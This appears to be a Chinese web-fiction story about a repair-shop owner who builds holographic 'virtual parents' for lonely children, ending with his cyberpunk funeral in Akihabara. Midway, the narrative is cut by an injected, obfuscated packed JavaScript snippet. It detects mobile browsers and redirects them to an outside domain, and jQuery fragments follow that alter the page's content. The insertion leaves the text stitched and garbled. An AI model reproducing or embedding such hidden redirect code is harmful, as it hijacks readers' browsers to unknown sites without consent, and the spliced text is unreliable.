巷子口的梧桐叶落第三遍时，黄万千的维修铺亮起了灯。
招牌是拿报废的主板拼的，"还真是IT维修"七个字焊得歪歪扭扭，底下LED灯管泛着蓝光，滚动播放副标题："修电脑，也修心。"
苏末晞从门口路过的时候预知能力在这一刻出现了重影。
她看见三个平行时空在玻璃上同时浮现——
第一重幻象：
23岁的黄万千穿着橙色囚服，平静地说
"我黑入市政系统，"他的眼镜反射着雪亮的灯光，"只为提前72小时预测流浪汉冻死点位。"
法官的锤子落下时，天花板突然掉落一张便签：【系统提示：人道主义补丁已失效】
第二重幻象：
行刑后第三年，他编写的AI仍在自动更新。
会弹出黄万千的电子遗书："如果我死了，请把我葬在秋叶原棺材上带RGB跑马灯。"
第三重幻象：
黄万千的大脑躺在无菌托盘里，灰质褶皱间嵌着几道金属光泽——那是少年时玩焊枪留下的铅汞沉积。显微镜下，海马体横截面呈现诡异的蜂巢结构，每个孔洞都储存着一段犯罪记录：
"突触数量超常值47%，"主任医师的镊子夹起一片前额叶，"尤其是共情神经簇与逻辑中枢的接驳方式——"灯光下，那些交错的神经元像被熔化的金线，呈现出量子纠缠态的拓扑结构。
争议焦点定格在投影屏上：
《社会管理法》第38条vs人类进化峰值
深夜的维修铺里，黄万千正在调试一台退役的军用全息投影仪。
"测试编号007，"他敲下回车键，"启动''学霸爸爸''模式。"
投影仪嗡嗡作响，一个戴发光眼镜的中年男子虚影出现在工作台上方。黄万千拿起一张数学试卷："第三题错了。"
"啪！"全息父亲推了推眼镜，空气中立刻响起《五年高考三年模拟》的背景音乐，试卷上浮现出详细的解题步骤。
隔壁传来孩子的哭声。黄万千切到"温柔妈妈"模式。投影变成一位扎着围裙的女性，当摄像头检测到孩子注意力分散时，她的掌心突然"变"出一只全息橘猫，在作业本上打滚。
"中二兄长，启动。"
最后一个模式是个穿校服的少年，突然摆出动漫pose："这道题，由我来守护！"手指划过之处，空中留下发光的解题公式。
（第二天，单亲家庭的林老师发现儿子突然爱上写作业了。书桌上摆着个奇怪的投影仪，外壳上刻着行小字："所有孩子都值得被温柔以待——黄万千改装"）
黄万千的电脑屏幕在凌晨三点还亮着。
他正在调试一份《理想家长调查表》的反馈数据——这是他为学校开发的"家长会辅助系统"的必备环节。表格里那些天真的笔迹让他时不时推眼镜：
"希望爸爸穿JK制服来家长会"
"想要会变魔术的妈妈"
"能不能让家长和班主任掰手腕？"
单亲家庭的孩子得到了双亲全息投影；孤儿院里的小朋友分到了《哈利波特》式的邓布利多院长；最棘手的是那个写"想要会开高达的爸爸"的男孩，黄万千不得不连夜建模，最后给了个能变形机械臂的工程师形象。
系统有个隐藏功能：当老师批评太过火时，"家长"会根据孩子脚下压力传感器的力度做出不同反应——轻踩是打喷嚏打断，中等力度是假装掉线，用力踩则会触发火警铃声。
家长会当天，意外还是发生了。
"系统过载！"黄万千盯着监控屏幕，只见教室里的全息投影集体扭曲，下一秒——
三十多个"家长"齐刷刷变成了《进击的巨人》里的兵长利威尔，清一色黑西装、立体机动装置，还有个正用嫌恶的表情擦虚拟眼镜。
班主任的茶杯掉在了地上。
黄万千的补救来得飞快："这是最新的...教育用战术立体机动装置演示！"他按下紧急按钮，所有兵长同步推眼镜："现在的教育方式，真是令人反胃。"
《圣人准则》
黄万千的阁楼里堆满了信。
"电子爸爸今天给我放了烟花，"一个小学生歪歪扭扭地写道，"因为数学及格了。"旁边画着歪歪扭扭的爱心。
他轻轻放下这封，又拿起另一张皱巴巴的纸："我们班现在都管黄叔叔叫爹..."落款画了个吐舌头的鬼脸。
最新那封没有署名，但字迹他认得——
"你给全世界的孩子造梦，
却从不说
自己才是
最需要被哄睡的那个"
苏末晞的钢笔水晕开了最后几个字，像滴未落的泪。
楼下传来系统提示音。黄万千戴上眼镜，继续调试今晚的"电子家长"程序。屏幕上的代码规整如戒律：
第一条：所有虚拟父母必须会说"我爱你"（机甲形态需配备情感语音包）
第二条：当孩子撒谎时，家长要先说"我小时候也..."（数据库含287种常见错误案例）
最终准则闪烁在屏幕中央：
if(real_hug==NULL){
code_hug.temperature=36.5℃;
}
（三天后，苏末晞路过维修铺，发现橱窗里多了台会讲睡前故事的老式收音机。标签写着："试用品，欢迎取用。"她按下播放键
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949946|177513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，里面传来黄万千困倦的声音："第一条，所有大人都该记得自己也曾是孩子..."）
毕业季的黄昏，黄万千的服务器亮起最后一盏灯。
通关界面上，金色字体缓缓浮现：
【恭喜获得[现实世界入场券]】
使用说明：
1.黄万千陪同参加同学聚会（含三次紧急撤离机会）
2.李东京毒舌特训（24小时速成"如何优雅地反击人生"）
3.苏末晞防尴尬系统（预知社死瞬间，提前三秒振动提醒）
窗外的霓虹映在黄万千的眼镜上。他点开后台文件夹，里面整整齐齐躺着3721份加密文档——都是玩家在游戏崩溃时写下的私密日记。
《人类脆弱性研究报告》的扉页已经编辑好：
"你们教会我的
远比我给你们的
多得多
还真是"
光标在最后一个词后闪烁，像在等待什么。
（三天后，所有通关玩家都收到份附加奖励：他们当年写下的孤独日记，末尾都多了行手写批注——有人得到句歌词，有人收到道数学题，而最多的回复是："我懂。"）
《秋叶原葬礼·赛博往生》
透明棺材在秋叶原的霓虹灯下泛着蓝光。
亚克力材质的外壳里，RGB灯带随着《电子功德总结PPT》的播放变换颜色——那是黄万千生前自己做的，最后一页写着："累计维修设备3721台，修复人心次数：无法统计"。
AI合成的悼词开始播放，是他提前录好的声线：
"感谢各位来送我，但别太难过。"音响里传出他标志性的轻笑，"我可能只是去修异世界的路由器了。"
骨灰盒被做成了迷你维修铺的样子。刚哥按下开关，全息投影弹出黄万千的Q版形象，推了推根本不存在的眼镜："还真是…想再修一次电脑啊。"
穿成各种动漫角色的孩子们围成一圈。有个扎双马尾的小姑娘突然举手："黄叔叔说死后会变成WIFI信号！"
苏末晞默默把一台坏掉的Switch放在祭坛上。屏幕还停留在《动物森友会》的界面——那是黄万千唯一没通关的游戏，岛上最后一句话是给她的留言："明天帮你修手柄。"
李东京冷笑一声，取下嘴里的电子烟，把薄荷味的烟油倒进香炉。青烟升起时，全场的电子设备突然同时亮起，显示同一行字：
【系统提示：黄师傅正在异世界为您服务】
（后来秋叶原多了个都市传说：深夜路过那家关门的维修铺，能听见螺丝刀的声音。而所有经他手修过的设备，在系统关于里都藏着一行小字："黄万千，版本号∞"。）